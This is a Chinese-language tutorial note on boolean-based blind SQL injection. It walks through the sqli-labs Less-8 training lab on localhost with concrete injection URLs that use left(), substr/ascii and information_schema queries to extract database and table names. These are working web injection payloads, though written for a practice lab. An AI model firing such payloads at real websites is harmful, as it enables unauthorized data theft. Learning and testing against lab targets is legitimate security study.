SQL盲注——布尔注入 笔记

SQL盲注——布尔注入

布尔注入原理

代码存在SQL注入漏洞
然而页面即不会回显数据,也不会回显错误信息,只返回“Right”与“Wrong”
这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”与“假”来识别我们的判断是否正确,这即是布尔盲注!

布尔盲注方法

构造逻辑判断语句,判断信息真假,取出所有的真值,实现SQL注入

|

方法 例子 说明
Left() 函数 left(database(),1)>‘s’ database()显示数据库名称,left(a,b)从左到右截取a的前b位
regexp select user() regexp ‘^r’ 正则表达式的用法,user()结果为root,regexp 为匹配 root 的正则表达式
like select user()like’ro%’ 与regexp类似,使用like进行匹配
substr()函数 ascii()函数 ascii(substr((select database()),1,1))=98 substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
ord() 函数 mid() 函数 ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

实操

这次我们使用sqli-labs第八关来进行学习

1.先判断有无注入点
SQL盲注——布尔注入 笔记_第1张图片
SQL盲注——布尔注入 笔记_第2张图片SQL盲注——布尔注入 笔记_第3张图片
从此我没可以看出存在注入点,并且不会回显数据,但当语句正确是会返回You are in …错误则无返回。从此可知我们可以采用盲注的方法进行sql注入。

我们先使用left()来进行测试

127.0.0.1/Less-8/?id=1'and left((select database()),1)='a'--+

SQL盲注——布尔注入 笔记_第4张图片

127.0.0.1/Less-8/?id=1'and left((select database()),1)='s'--+

SQL盲注——布尔注入 笔记_第5张图片
从此我们可以知道当前库的第一位是’s‘了。

接下来我们使用information来查询所有数据
我们首先来查询一下他的表

127.0.0.1/Less-8/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='a'--+

SQL盲注——布尔注入 笔记_第6张图片

127.0.0.1/Less-8/?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+

SQL盲注——布尔注入 笔记_第7张图片
说明当前库第一个表第一个名称的第一个字符是’s‘
SQL盲注——布尔注入 笔记_第8张图片
然后接下来就可以按照这个方式不断尝试,找到自己想要的数据了,但是这种方法是比较慢的,我们可以借助工具进行注入。比如Burp Suite。

你可能感兴趣的:(笔记)